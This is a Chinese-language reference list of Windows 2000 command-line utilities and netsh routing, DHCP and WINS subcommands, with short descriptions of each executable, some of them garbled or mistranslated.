Tracert(跟踪路由)是路由跟踪实用程序,用于确定 IP 数据报访问目标所采取的路径。Tracert 命令用 IP 生存时间 (TTL) 字段和 ICMP 错误消息来确定从一个主机到网络上其他主机的路由。
-d 指定不将IP 地址解析到主机名称。
-h maximum_hops 指定跃点数以跟踪到称为 target_name 的主机的路由。
-j host-list 指定 Tracert 实用程序数据包所采用路径中的路由器接口列表。
-w timeout 等待 timeout 为每次回复所指定的毫秒数。
target_name 目标主机的名称或 IP 地址。
pathping 命令是一个路由跟踪工具,它将 ping 和 tracert 命令的功能和这两个工具所不提供的其他信息结合起来。pathping 命令在一段时间内将数据包发送到到达最终目标的路径上的每个路由器,然后基于数据包的计算机结果从每个跃点返回。由于命令显示数据包在任何给定路由器或链接上丢失的程度,因此可以很容易地确定可能导致网络问题的路由器或链接。
-n Hostnames 不将地址解析成主机名。
-h Maximum hops 搜索目标的最大跃点数。
-g Host-list 沿着路由列表释放源路由。
-p Period 在 ping 之间等待的毫秒数。
-q Num_queries 每个跃点的查询数。
-w Time-out 为每次回复所等待的毫秒数。
-T Layer 2 tag 将第 2 层优先级标记(例如,对于 IEEE 802.1p)连接到数据包并将它发送到路径中的每个网络设备。这有助于标识没有正确配置第 2 层优先级的网络设备。-T 开关用于测试服务质量 (QoS) 连通性。
-R RSVP test Che 检查以确定路径中的每个路由器是否支持“资源保留协议 (RSVP)”,此协议允许主机为数据流保留一定量的带宽。 -R 开关用于测试服务质量 (QoS) 连通性。
在命令提示符下交互使用 DHCP 命令
打开 命令提示符。
键入 netsh。
在 netsh>(Netshell) 命令提示行键入“dhcp”。
在 dhcp>(DHCP 辅助程序)命令提示行,为您要管理的服务器键入 server \\\\servername 或 server ip_address。
一旦您有权管理的服务器已成功连接,则会看到“您可以对服务器 servername 进行读写访问”
一旦连接成功,您就可以使用用于 DHCP 的任何支持的 Netshell 命令。 键入 /? 或 help 来显示直接的 DHCP 子命令菜单或作为选项显示,键入 list 列出可与 DHCP 一起使用的所有 Netshell 子命令。
route 的命令
routing ip add/delete/set/show interface 在指定接口上添加、删除、配置或显示常规 IP 路由设置。
routing ip add/delete/set/show filter 在指定接口上添加、删除、配置或显示 IP 数据包筛选器。
routing ip add/delete/show boundary 在指定接口上添加、删除或显示多播边界设置。
routing ip add/set ipiptunnel 添加或配置 IP 中的 IP 接口。
routing ip add/delete/set/show rtmroute 添加、配置或显示不持续的路由表管理器路由。
routing ip add/delete/set/show persistentroute 添加、删除、配置或显示持续路由。
routing ip add/delete/set/show preferenceforprotocol 添加、删除、配置或显示路由协议的优先级。
routing ip add/delete/set/show scope 添加、删除或显示多播作用域。
routing ip set/show loglevel 配置或显示全局 IP 记录等级。
routing ip show helper 显示 IP 的所有 Netsh 实用程序子环境。
routing ip show protocol 显示所有正在运行的 IP 路由协议。
routing ip show mfe 显示多播转发项。
routing ip show mfestats 显示多播转发项统计。
routing ip show boundarystats 显示 IP 多播边界。
routing ip show r *** estinations 显示路由表管理器路由表中的目标。
routing ip show rtmroutes 显示路由表管理器路由表中的路由。
routing ip nat set/show global 配置或显示全局网络地址转换 (NAT) 设置。
routing ip nat add/delete/set/show interface 添加、删除、配置或显示指定接口的 NAT 设置。
routing ip nat add/delete addressrange 在 NAT 接口公用地址池中添加或删除一个地址范围。
routing ip nat add/delete addressmapping 添加或删除 NAT 地址映射。
routing ip nat add/delete portmapping 添加或删除 NAT 端口映射。
routing ip autodhcp set/show global 配置或显示全局 DHCP 分配器参数。
routing ip autodhcp set/show interface 配置或显示指定接口的 DHCP 分配器设置。
routing ip autodhcp add/delete exclusion 在 DHCP 分配器地址范围中添加或删除一个排除范围。
routing ip dnsproxy set/show global 配置或显示全局 DNS 代理参数。
routing ip dnsproxy set/show interface 配置或显示指定接口的 DNS 代理参数。
routing ip igmp set/show global 配置或显示 IGMP 全局设置。
routing ip igmp add/delete/set/show interface 在指定接口上添加、删除、配置或显示 IGMP。
routing ip igmp add/delete staticgroup 添加或删除指定接口的静态多播组。
routing ip igmp show grouptable 显示 IGMP 主机组表。
routing ip igmp show ifstats 显示每个接口的 IGMP 统计。
routing ip igmp show iftable 显示每个接口的 IGMP 主机组。
routing ip igmp show proxygrouptable 显示 IGMP 代理接口的 IGMP 组表。
routing ip igmp show rasgrouptable 显示远程访问服务器所使用的 Internet 接口的组表。
routing ip ospf set/show global 配置或显示全局 OSPF 设置。
routing ip ospf add/delete/set/show interface 在指定接口上添加、删除、配置或显示 OSPF。
routing ip ospf add/delete/set/show area 添加、删除、配置或显示 OSPF 区域。
routing ip ospf add/delete/show range 在指定的 OSPF 区域上添加、删除、配置或显示范围。
routing ip ospf add/delete/set/show virtif 添加、删除、配置或显示 OSPF 虚拟接口。
routing ip ospf add/delete/show neighbor 添加、删除、配置或显示 OSPF 邻居。
routing ip ospf add/delete/show protofilter 添加、删除、配置或显示 OSPF 外部路由的路由信息源。
routing ip ospf add/delete/show routefilter 添加、删除、配置或显示 OSPF 外部路由的路由筛选。
routing ip ospf show areastats 显示 OSPF 区域统计。
routing ip ospf show lsdb 显示 OSPF 链接状态数据库。
routing ip ospf show virtifstats 显示 OSPF 虚拟链接统计。
routing ip relay set global 配置“DHCP 中继代理程序”的全局设置。
routing ip relay add/delete/set interface 在指定接口上添加、删除或配置“DHCP 中继代理程序”设置。
routing ip relay add/delete dhcpserver 在 DHCP 服务器地址列表中添加或删除 DHCP 服务器的 IP 地址。
routing ip relay show ifbinding 显示接口的 IP 地址绑定。
routing ip relay show ifconfig 显示每个接口的“DHCP 中继代理程序”配置。
routing ip relay show ifstats 显示每个接口的 DHCP 统计。
routing ip rip set/show global 配置 IP 的 RIP 全局设置。
routing ip rip add/delete/set/show interface 在指定接口上添加或配置 IP 的 RIP 设置。
routing ip rip add/delete peerfilter 添加或删除 RIP 对等筛选器。
routing ip rip add/delete acceptfilter 在接受的路由列表中添加或删除 RIP 路由筛选器。
routing ip rip add/delete announcefilter 在公布的路由列表中添加或删除 RIP 路由筛选器。
routing ip rip add/delete/show neighbor 添加或删除 RIP 邻居。
routing ip rip set/show flags 在指定接口上配置 IP RIP 高级设置。
routing ip rip show globalstats 显示全局 RIP 参数。
routing ip rip show ifbinding 显示接口的 IP 地址绑定。
routing ip rip show ifstats 显示每个接口的 RIP 统计。
IPX netsh 路由命令
routing ipx add/set staticroute 在 IPX 路由表中添加或配置静态 IPX 路由。
routing ipx add/set staticservice 在 SAP 服务表中添加或配置静态 SAP 服务。
routing ipx add/set filter 在指定的接口上添加或配置 IPX 数据包筛选器。
routing ipx add/set interface 在请求拨号接口上启用 IPX 路由,或在指定的接口上配置 IPX 设置。
routing ipx set global 配置全局 IPX 路由设置。
routing ipx rip add/set filter 添加和配置 RIP 路由筛选器。
routing ipx rip set global 配置全局 IPX 的 RIP 设置。
routing ipx rip set interface 在指定接口上配置 IPX 的 RIP 设置。
routing ipx sap add/set filter 添加或配置 SAP 服务筛选器。
routing ipx sap set global 配置全局 IPX 的 SAP 设置。
routing ipx sap set interface 在指定接口上配置 IPX 的 SAP 设置。
routing ipx netbios add nbname 将静态 NETBIOS 名称添加到 IPX NetBIOS 名称表中。
routing ipx netbios set interface 在指定接口上配置基于 IPX 的 NetBIOS 设置。

WINS NetSh 命令
list 列出所有可用的 WINS 命令。
dump 将 WINS 服务器配置转储到命令输出。
add name 在服务器上注册名称。详细信息,请输入 add name /?
add partner 向服务器添加复制伙伴。详细信息,请输入 add partner /?
add pngserver 添加当前服务器的 Persona Non Grata 服务器列表。详细信息,请输入 add pngserver /?
check database 检查数据库的一致性。详细信息,请输入 check database /?
check name 检查一组 WINS 服务器的名称记录列表。详细信息,请输入 check name /?
check version 检查版本号的一致性。详细信息,请输入 check version /?
delete name 从服务器数据库中删除已注册的名称。详细信息,请输入 delete name /?
delete partner 从复制伙伴列表中删除复制伙伴。详细信息,请输入 delete partner /?
delete records 从服务器删除或逻辑删除所有记录或一组记录。详细信息,请输入 delete records /?
delete owners 删除所有者列表及其记录。详细信息,请输入 delete owners /?
delete pngserver 从列表中删除所有的或选定的 Persona Non Grata 服务器。详细信息,请输入 delete pngserver /?
init backup 备份 WINS 数据库。详细信息,请输入 init backup /?
init import 从 Lmhosts 文件导入数据。详细信息,请输入 init import /?
init pull 启动“拉”触发器,并发送给另一台 WINS 服务器。详细信息,请输入 init pull /?
init pullrange 开始另一台 WINS 服务器的一组记录,并读取该记录。详细信息,请输入 init pullrange /?
init push 启动“推”触发器,并发送给另一台 WINS 服务器。详细信息,请输入 init push /?
init replicate 用复制伙伴复制数据库。详细信息,请输入 init replicate /?
init restore 从文件还原数据库。详细信息,请输入 init restore /?
init scavenge 清除服务器的 WINS 数据库。详细信息,请输入 init scavenge /?
init search 搜索服务器的 WINS 数据库。详细信息,请输入 init search /?
reset statistics 重置服务器的统计信息。详细信息,请输入 reset statistics /?
set autopartnerconfig 设置服务器的自动复制伙伴配置信息。详细信息,请输入 set autopartnerconfig /?
set backuppath 设置服务器的备份参数。详细信息,请输入 set backuppath /?
set burstparam 设置服务器的突发处理参数。详细信息,请输入 set autopartnerconfig /?
set logparam 设置数据库和事件日志记录选项。详细信息,请输入 set logparam /?
set migrateflag 设置服务器的迁移标志。详细信息,请输入 set migrateflag /?
set namerecord 设置服务器的间隔和超时值。详细信息,请输入 set namerecord /?
set periodicdbchecking 设置服务器的定期数据库检查参数。详细信息,请输入 set periodicdbchecking /?
set pullpartnerconfig 设置指定的“拉”伙伴的配置参数。详细信息,请输入 set pullpartnerconfig /?
set pushpartnerconfig 设置指定的“推”伙伴的配置参数。详细信息,请输入 set pushpartnerconfig /?
set pullparam 设置服务器的默认“拉”参数。详细信息,请输入 set pullparam /?
set pushparam 设置服务器的默认“推”参数。详细信息,请输入 set pushparam /?
set replicateflag 设置服务器的复制标志。详细信息,请输入 set replicateflag /?
set startversion 设置数据库的开始版本 ID。详细信息,请输入 set startversion /?
show browser 显示所有活动域主浏览器的 [1Bh] 记录。详细信息,请输入 show browser /?
show database 显示指定服务器的数据库和记录。详细信息,请输入 show database /?
show info 显示配置信息。详细信息,请输入 show info /?
show name 显示服务器中特定记录的详细信息。详细信息,请输入 show name /?
show partner 显示服务器的“拉”或“推”(或“推拉”)伙伴。详细信息,请输入 show partner /?
show partnerproperties 显示默认伙伴配置。详细信息,请输入 show partnerproperties /?
show pullpartnerconfig 显示“拉”伙伴的配置信息。详细信息,请输入 show pullpartnerconfig /?
show pushpartnerconfig 显示“推”伙伴的配置信息。详细信息,请输入 show pushpartnerconfig /?
show reccount 显示指定服务器所拥有的记录数量。详细信息,请输入 show reccount /?
show recbyversion 显示指定服务器所拥有的记录。详细信息,请输入 show recbyversion /?
show server 显示当前选定的服务器。详细信息,请输入 show server /?
show statistics 显示 WINS 服务器的统计信息。详细信息,请输入 show statistics /?
show version 显示 WINS 服务器的当前版本计数器值。详细信息,请输入 show version /?
show versionmap 显示所有者 ID 到“最大版本数”的映射。详细信息,请输入 show versionmap /?
Interface 命令
interface set/show interface 启用、禁用、连接、断开连接以及显示请求拨号接口的配置。
interface set/show credentials 在请求拨号接口上配置或显示用户名、密码和域名。
Win2000命令全集

accwiz.exe > Accessibility Wizard for walking you through setting up your machine for your mobility needs. 辅助工具向导

acsetups.exe > ACS setup DCOM server executable

actmovie.exe > Direct Show setup tool 直接显示安装工具

append.exe > Allows programs to open data in specified directories as if they were in the current directory. 允许程序打开制定目录中的数据

arp.exe > NETWORK Display and modify IP - Hardware addresses 显示和更改计算机的IP与硬件物理地址的对应列表

at.exe > AT is a scheduling utility also included with UNIX 计划运行任务

atmadm.exe > Displays statistics for ATM call manager. ATM调用管理器统计

attrib.exe > Display and modify attributes for files and folders 显示和更改文件和文件夹属性

autochk.exe > Used to check and repair Windows File Systems 检测修复文件系统

autoconv.exe > Automates the file system conversion during reboots 在启动过程中自动转化系统

autofmt.exe > Automates the file format process during reboots 在启动过程中格式化进程

autolfn.exe > Used for formatting long file names 使用长文件名格式

bootok.exe > Boot acceptance application for registry

bootvrfy.exe > Bootvrfy.exe, a program included in Windows 2000 that notifies the system that startup was successful. Bootvrfy.exe can be run on a local or remote computer. 通报启动成功
cacls.exe > Displays or modifies access control lists (ACLs) of files. 显示和编辑ACL

calc.exe > Windows Calculators 计算器

cdplayer.exe > Windows CD Player CD播放器

change.exe > Change { User | Port | Logon } 与终端服务器相关的查询

charmap.exe > Character Map 字符映射表

chglogon.exe > Same as using "Change Logon" 启动或停用会话记录

chgport.exe > Same as using "Change Port" 改变端口(终端服务)

chgusr.exe > Same as using "Change User" 改变用户(终端服务)

chkdsk.exe > Check the hard disk for errors similar to Scandisk 3 Stages must specify a Drive Letter 磁盘检测程序

chkntfs.exe > Same as using chkdsk but for NTFS NTFS磁盘检测程序

cidaemon.exe > Component of Ci Filer Service 组成Ci文档服务

cipher.exe > Displays or alters the encryption of directories [files] on NTFS partitions. 在NTFS上显示或改变加密的文件或目录

cisvc.exe > Content Index -- It`s the content indexing service for I 索引内容

ckcnv.exe > Cookie Convertor 变换Cookie

cleanmgr.exe > Disk Cleanup, popular with Windows 98 磁盘清理

cliconfg.exe > SQL Server Client Network Utility SQL客户网络工具

clipbrd.exe > Clipboard viewer for Local will allow you to connect to other clipboards 剪贴簿查看器

clipsrv.exe > Start the clipboard Server 运行Clipboard服务

clspack.exe > CLSPACK used to create a file listing of system packages 建立系统文件列表清单

cluster.exe > Display a cluster in a domain 显示域的集群

_cmd_.exe > Famous command prompt 没什么好说的!

cmdl32.exe > Connection Manager Auto-Download 自动下载连接管理

cmmgr32.exe > Connection Manager 连接管理器

cmmon32.exe > Connection Manager Monitor 连接管理器监视

cmstp.exe > Connection Manager Profile Manager 连接管理器配置文件安装程序

comclust.exe > about cluster server 集群

comp.exe > ComClust Add, Remove, or Join a cluster. 比较两个文件和文件集的内容*

compact.exe > Displays or alters the compression of files on NTFS partitions. 显示或改变NTFS分区上文件的压缩状态

conime.exe > Console IME IME控制台

control.exe > Starts the control panel 控制面板

convert.exe > Convert File System to NTFS 转换文件系统到NTFS

convlog.exe > Converts MS IIS log files 转换IIS日志文件格式到NCSA格式

cprofile.exe > Copy profiles 转换显示模式

cscript.exe > MS Windows Scripts Host Version 5.1 较本宿主版本

csrss.exe > Client Server Runtime Process 客户服务器Runtime进程

csvde.exe > Comma Separated Variable Import/Export Utility 日至格式转换程序

dbgtrace.exe > 和Terminal Server相关

dcomcnfg.exe > Display the current DCOM configuration. DCOM配置属性

dcphelp.exe > ?

dcpromo.exe > Promote a domain controller to ADSI AD安装向导

ddeshare.exe > Display DDE shares on local or remote computer DDE共享

ddmprxy.exe >

debug.exe > Runs Debug, a program testing and editing tool. 就是DEBUG啦!

dfrgfat.exe > Defrag FAT file system FAT分区磁盘碎片整理程序

dfrgntfs.exe > Defrag NTFS file system NTFS分区磁盘碎片整理程序

dfs_cmd_.exe > configures a Dfs tree 配置一个DFS树

dfsinit.exe > Distributed File System Initialization 分布式文件系统初始化

dfssvc.exe > Distributed File System Server 分布式文件系统服务器

diantz.exe > MS Cabinet Maker 制作CAB文件

diskperf.exe > Starts physical Disk Performance counters 磁盘性能计数器

dllhost.exe > dllhost is used on all versions of Windows 2000. dllhost is the hedost process for all COM+ applications. 所有COM+应用软件的主进程

dllhst3g.exe >

dmadmin.exe > Disk Manager Service 磁盘管理服务

dmremote.exe > Part of disk management 磁盘管理服务的一部分

dns.exe > DNS Applications DNS

doskey.exe > recalls Windows command lines and creates macros 命令行创建宏

dosx.exe > DOS Extender DOS扩展

dplaysvr.exe > Direct Play Helper 直接运行帮助

drwatson.exe > Dr Watson for 2000 Fault Detector 华生医生错误检测

drwtsn32.exe > Dr Watson for 2000 viewer and configuration manager 华生医生显示和配置管理

dtcsetup.exe > Installs MDTC

dvdplay.exe > Windows 2000 DVD player DVD播放

dxdiag.exe > Direct-X Diagnostics Direct-X诊断工具

edlin.exe > line-oriented text editor. 命令行的文本编辑器(历史悠久啊!)
edlin.exe > line-oriented text editor. 命令行的文本编辑器(历史悠久啊!)

esentutl.exe > MS Database Utility MS数据库工具

eudcedit.exe > Private character editor Ture Type造字程序

eventvwr.exe > Windows 2000 Event Viewer 事件查看器

evnt_cmd_.exe > Event to trap translator; Configuration tool

evntwin.exe > Event to trap translator setup

exe2bin.exe > Converts EXE to binary format 转换EXE文件到二进制

expand.exe > Expand Files that have been compressed 解压缩

extrac32.exe > CAB File extraction utility 解CAB工具

fastopen.exe > Fastopen tracks the location of files on a hard disk and stores the information in memory for fast access. 快速访问在内存中的硬盘文件

faxcover.exe > Fax Cover page editor 传真封面编辑

faxqueue.exe > Display Fax Queue 显示传真队列

faxsend.exe > Fax Wizard for sending faxes 发送传真向导

faxsvc.exe > Starts fax server 启动传真服务

fc.exe > Compares two files or sets of files and their differences 比较两个文件的不同

find.exe > Searches for a text string in file or files 查找文件中的文本行

findstr.exe > Searches for strings in files 查找文件中的行

finger.exe > Fingers a user and displays statistics on that user Finger一个用户并显示出统计结果

fixmapi.exe > Fix mapi files 修复MAPI文件

flattemp.exe > Enable or disable temporally directories 允许或者禁用临时文件目录

fontview.exe > Display fonts in a font file 显示字体文件中的字体

forcedos.exe > Forces a file to start in dos mode. 强制文件在DOS模式下运行

freecell.exe > Popular Windows Game 空当接龙

ftp.exe > File Transfer Protocol used to transfer files over a network connection 就是FTP了

gdi.exe > Graphic Device Interface 图形界面驱动

grovel.exe >

grpconv.exe > Program Manager Group Convertor 转换程序管理员组

help.exe > displays help for Windows 2000 commands 显示帮助

hostname.exe > Display hostname for machine. 显示机器的Hostname

ie4uinit.exe > IE5 User Install tool IE5用户安装工具

ieshwiz.exe > Customize folder wizard 自定义文件夹向导

iexpress.exe > Create and setup packages for install 穿件安装包

iisreset.exe > Restart IIS Admin Service 重启IIS服务

internat.exe > Keyboard Language Indicator Applet 键盘语言指示器

ipconfig.exe > Windows 2000 IP configuration. 察看IP配置

ipsecmon.exe > IP Security Monitor IP安全监视器

ipxroute.exe > IPX Routing and Source Routing Control Program IPX路由和源路由控制程序

irftp.exe > Setup FTP for wireless communication 无线连接

ismserv.exe > Intersite messaging Service 安装或者删除Service Control Manager中的服务

jdbgmgr.exe > Microsoft debugger for java 4 Java4的调试器

jetconv.exe > Convert a Jet Engine Database 转换Jet Engine数据库

jetpack.exe > Compact Jet Database. 压缩Jet数据库

jview.exe > Command-line loader for Java Java的命令行装载者

krnl386.exe > Core Component for Windows 2000 2000的核心组件

label.exe > Change label for drives 改变驱动器的卷标

lcwiz.exe > License Compliance Wizard for local or remote systems. 许可证符合向导

ldifde.exe > LDIF cmd line manager LDIF目录交换命令行管理

licmgr.exe > Terminal Server License Manager 终端服务许可协议管理

lights.exe > display connection status lights 显示连接状况

llsmgr.exe > Windows 2000 License Manager 2000许可协议管理

llssrv.exe > Start the license Server 启动许可协议服务器

lnkstub.exe >

locator.exe > RPC Locator 远程定位

lodctr.exe > Load perfmon counters 调用性能计数

logoff.exe > Log current user off. 注销用户

lpq.exe > Displays status of a remote LPD queue 显示远端的LPD打印队列的状态,显示被送到基于Unix的服务器的打印任务

lpr.exe > Send a print job to a network printer. 重定向打印任务到网络中的打印机。通常用于Unix客户打印机将打印任务发送给连接了打印设备的NT的打印机服务器。

lsass.exe > LSA Executable and Server DLL 运行LSA和Server的DLL

lserver.exe > Specifies the new DNS domain for the default server 指定默认Server新的DNS域

macfile.exe > Used for managing MACFILES 管理MACFILES

magnify.exe > Used to magnify the current screen 放大镜

makecab.exe > MS Cabinet Maker 制作CAB文件

mdm.exe > Machine Debug Manager 机器调试管理

mem.exe > Display current Memory stats 显示内存状态

migpwd.exe > Migrate passwords. 迁移密码

mmc.exe > Microsoft Management Console 控制台

mnmsrvc.exe > Netmeeting Remote Desktop Sharing NetMeeting远程桌面共享

mobsync.exe > Manage Synchronization. 同步目录管理器

mountvol.exe > Creates, deletes, or lists a volume mount point. 创建、删除或列出卷的装入点。

mplay32.exe > MS Media Player 媒体播放器

mpnotify.exe > Multiple Provider Notification application 多提供者通知应用程序

mq1sync.exe >

mqbkup.exe > MS Message Queue Backup and Restore Utility 信息队列备份和恢复工具

mqexchng.exe > MSMQ Exchange Connector Setup 信息队列交换连接设置

mqmig.exe > MSMQ Migration Utility 信息队列迁移工具

mqsvc.exe > ?

mrinfo.exe > Multicast routing using SNMP 使用SNMP多点传送路由

mscdexnt.exe > Installs MSCD (MS CD Extensions) 安装MSCD

msdtc.exe > Dynamic Transaction Controller Console 动态事务处理控制台

msg.exe > Send a message to a user local or remote. 发送消息到本地或远程客户

mshta.exe > HTML Application HOST HTML应用程序主机

msiexec.exe > Starts Windows Installer Program 开始Windows安装程序

mspaint.exe > Microsoft Paint 画板

msswchx.exe >

mstask.exe > Task Schedule Program 任务计划表程序

mstinit.exe > Task scheduler setup 任务计划表安装

narrator.exe > Program will allow you to have a narrator for reading. Microsoft讲述人

nbtstat.exe > Displays protocol stats and current TCP/IP connections using NBT 使用 NBT(TCP/IP 上的 NetBIOS)显示协议统计和当前 TCP/IP 连接。

nddeapir.exe > NDDE API Server side NDDE API服务器端

net.exe > Net Utility 详细用法看/?

net1.exe > Net Utility updated version from MS Net的升级版

netdde.exe > Network DDE will install itself into the background 安装自己到后台

netsh.exe > Creates a shell for network information 用于配置和监控 Windows 2000 命令行脚本接口。

netstat.exe > Displays current connections. 显示协议统计和当前的 TCP/IP 网络连接。

nlsfunc.exe > Loads country-specific information 加载特定国家(地区)的信息。Windows 2000 和 MS-DOS 子系统不使用该命令。接受该命令只是为了与 MS-DOS 文件兼容。

notepad.exe > Opens Windows 2000 Notepad 记事本

nslookup.exe > Displays information for DNS 该诊断工具显示来自域名系统 (DNS) 名称服务器的信息。

ntbackup.exe > Opens the NT Backup Utility 备份和故障修复工具

ntbooks.exe > Starts Windows Help Utility 帮助

ntdsutil.exe > Performs DB maintenance of the ADSI 完成ADSI的DB的维护

ntfrs.exe > NT File Replication Service NT文件复制服务

ntfrsupg.exe >

ntkrnlpa.exe > Kernel patch 核心补丁

ntoskrnl.exe > Core NT Kernel KT的核心

ntsd.exe >

ntvdm.exe > Simulates a 16-bit Windows environment 模拟16位Windows环境

nw16.exe > Netware Redirector NetWare转向器

nwscript.exe > runs netware scripts 运行Netware脚本

odbcad32.exe > ODBC 32-bit Administrator 32位ODBC管理

odbcconf.exe > Configure ODBC driver`s and data source`s from command line 命令行配置ODBC驱动和数据源

os2.exe > An OS/2 Warp Server (os2 /o) OS/2

os2srv.exe > An OS/2 Warp Server OS/2

os2ss.exe > An OS/2 Warp Server OS/2

osk.exe > On Screen Keyboard 屏幕键盘

packager.exe > Windows 2000 Packager Manager 对象包装程序

pathping.exe > Combination of Ping and Tracert 包含Ping和Tracert的程序

pax.exe > is a POSIX program and path names used as arguments must be specified in POSIX format. Use "//C/Users/Default" instead of "C:\\USERS\\DEFAULT." 启动便携式存档互换 (Pax) 实用程序

pentnt.exe > Used to check the Pentium for the floating point division error. 检查Pentium的浮点错误

perfmon.exe > Starts Windows Performance Monitor 性能监视器

ping.exe > Packet Internet Groper 验证与远程计算机的连接

posix.exe > Used for backward compatibility with Unix 用于兼容Unix

print.exe > Cmd line used to print files 打印文本文件或显示打印队列的内容。

progman.exe > Program manager 程序管理器

proquota.exe > Profile quota program

psxss.exe > POSIX Subsystem Application Posix子系统应用程序

qappsrv.exe > Displays the available application terminal servers on the network
在网络上显示终端服务器可用的程序

qprocess.exe > Display information about processes local or remote 在本地或远程显示进程的信息(需终端服务)

query.exe > Query TERMSERVER user process and sessions 查询进程和对话

quser.exe > Display information about a user logged on 显示用户登陆的信息(需终端服务)

qwinsta.exe > Display information about Terminal Sessions. 显示终端服务的信息

rasadmin.exe > Start the remote access admin service 启动远程访问服务

rasautou.exe > Creates a RAS connection 建立一个RAS连接

rasdial.exe > Dial a connection 拨号连接

rasphone.exe > Starts a RAS connection 运行RAS连接

rcp.exe > Copies a file from and to a RCP service. 在 Windows 2000 计算机和运行远程外壳端口监控程序 rshd 的系统之间复制文件

rdpclip.exe > RdpClip allows you to copy and paste files between a terminal session and client console session. 再终端和本地复制和粘贴文件

recover.exe > Recovers readable information from a bad or defective disk 从坏的或有缺陷的磁盘中恢复可读取的信息。

redir.exe > Starts the redirector service 运行重定向服务

regedt32.exe > 32-bit register service 32位注册服务

regini.exe > modify registry permissions from within a script 用脚本修改注册许可

register.exe > Register a program so it can have special execution characteristics. 注册包含特殊运行字符的程序

regsvc.exe >

regsvr32.exe > Registers and unregister`s dll`s. As to how and where it register`s them I dont know. 注册和反注册DLL

regtrace.exe > Options to tune debug options for applications failing to dump trace statements
Trace 设置
regwiz.exe > Registration Wizard 注册向导

remrras.exe >

replace.exe > Replace files 用源目录中的同名文件替换目标目录中的文件。

reset.exe > Reset an active section 重置活动部分

rexec.exe > Runs commands on remote hosts running the REXEC service. 在运行 REXEC 服务的远程计算机上运行命令。rexec 命令在执行指定命令前,验证远程计算机上的用户名,只有安装了 TCP/IP 协议后才可以使用该命令。

risetup.exe > Starts the Remote Installation Service Wizard. 运行远程安装向导服务

route.exe > display or edit the current routing tables. 控制网络路由表

routemon.exe > no longer supported 不再支持了!

router.exe > Router software that runs either on a dedicated DOS or on an OS/2 system. Route软件在 DOS或者是OS/2系统

rsh.exe > Runs commands on remote hosts running the RSH service 在运行 RSH 服务的远程计算机上运行命令

rsm.exe > Mounts and configures remote system media 配置远程系统媒体

rsnotify.exe > Remote storage notification recall 远程存储通知回显

rsvp.exe > Resource reservation protocol 源预约协议

runas.exe > RUN a program as another user 允许用户用其他权限运行指定的工具和程序

rundll32.exe > Launches a 32-bit dll program 启动32位DLL程序

runonce.exe > Causes a program to run during startup 运行程序再开始菜单中

rwinsta.exe > Reset the session subsystem hardware and software to known initial values 重置会话子系统硬件和软件到最初的值

savedump.exe > Does not write to e:\\winnt\\user.dmp 不写入User.dmp中

scardsvr.exe > Smart Card resource management server 子能卡资源管理服务器

schupgr.exe > It will read the schema update files (.ldf files) and upgrade the schema. (part of ADSI) 读取计划更新文件和更新计划

secedit.exe > Starts Security Editor help 自动安全性配置管理

services.exe > Controls all the services 控制所有服务

sethc.exe > Set High Contrast - changes colours and display mode Logoff to set it back to normal 设置高对比

setreg.exe > Shows the Software Publishing State Key values 显示软件发布的国家语言

setup.exe > GUI box prompts you to goto control panel to configure system components 安装程序(转到控制面板)

setver.exe > Set Version for Files 设置 MS-DOS 子系统向程序报告的 MS-DOS 版本号

sfc.exe > System File Checker test and check system files for integrity 系统文件检查

sfmprint.exe > Print Services for Macintosh 打印Macintosh服务

sfmpsexe.exe >

sfmsvc.exe >

shadow.exe > Monitor another Terminal Services session. 监控另外一台中端服务器会话

share.exe > Windows 2000 和 MS-DOS 子系统不使用该命令。接受该命令只是为了与 MS-DOS 文件兼容

shmgrate.exe >

shrpubw.exe > Create and Share folders 建立和共享文件夹

sigverif.exe > File Signature Verification 文件签名验证

skeys.exe > Serial Keys utility 序列号制作工具

smlogsvc.exe > Performance Logs and Alerts 性能日志和警报

smss.exe >

sndrec32.exe > starts the Windows Sound Recorder 录音机

sndvol32.exe > Display the current volume information 显示声音控制信息

snmp.exe > Simple Network Management Protocol used for Network Mangement 简单网络管理协议

snmptrap.exe > Utility used with SNMP SNMP工具

sol.exe > Windows Solitaire Game 纸牌

sort.exe > Compares files and Folders 读取输入、排序数据并将结果写到屏幕、文件和其他设备上

SPOOLSV.EXE > Part of the spooler service for printing 打印池服务的一部分

sprestrt.exe >

srvmgr.exe > Starts the Windows Server Manager 服务器管理器

stimon.exe > WDM StillImage- > Monitor

stisvc.exe > WDM StillImage- > Service

subst.exe > Associates a path with a drive letter 将路径与驱动器盘符关联

svchost.exe > Svchost.exe is a generic host process name for services that are run from dynamic-link libraries (DLLs). DLL得主进程

syncapp.exe > Creates Windows Briefcase. 创建Windows文件包

sysedit.exe > Opens Editor for 4 system files 系统配置编辑器

syskey.exe > Encrypt and secure system database NT账号数据库按群工具

sysocmgr.exe > Windows 2000 Setup 2000安装程序

systray.exe > Starts the systray in the lower right corner. 在低权限运行systray

taskman.exe > Task Manager 任务管理器

taskmgr.exe > Starts the Windows 2000 Task Manager 任务管理器

tcmsetup.exe > telephony client wizard 电话服务客户安装

tcpsvcs.exe > TCP Services TCP服务

.exe > Telnet Utility used to connect to Telnet Server

termsrv.exe > Terminal Server 终端服务

tftp.exe > Trivial FTP 将文件传输到正在运行 TFTP 服务的远程计算机或从正在运行 TFTP 服务的远程计算机传输文件

tftpd.exe > Trivial FTP Daemon

themes.exe > Change Windows Themes 桌面主题

tlntadmn.exe > Telnet Server Administrator Telnet服务管理

tlntsess.exe > Display the current Telnet Sessions 显示目前的Telnet会话

tlntsvr.exe > Start the Telnet Server 开始Telnet服务

tracert.exe > Trace a route to display paths 该诊断实用程序将包含不同生存时间 (TTL) 值的 Internet 控制消息协议 (ICMP) 回显数据包发送到目标,以决定到达目标采用的路由

tsadmin.exe > Terminal Server Administrator 终端服务管理器

tscon.exe > Attaches a user session to a terminal session. 粘贴用户会话到终端对话

tsdiscon.exe > Disconnect a user from a terminal session 断开终端服务的用户

tskill.exe > Kill a Terminal server process 杀掉终端服务

tsprof.exe > Used with Terminal Server to query results. 用终端服务得出查询结果

tsshutdn.exe > Shutdown the system 关闭系统

unlodctr.exe > Part of performance monitoring 性能监视器的一部分

upg351db.exe > Upgrade a jet database 升级Jet数据库

ups.exe > UPS service UPS服务

user.exe > Core Windows Service Windows核心服务

userinit.exe > Part of the winlogon process Winlogon进程的一部分

usrmgr.exe > Start the windows user manager for domains 域用户管理器

utilman.exe > This tool enables an administrator to designate which computers automatically open accessibility tools when Windows 2000 starts. 指定2000启动时自动打开那台机器

verifier.exe > Driver Verifier Manager Driver Verifier Manager

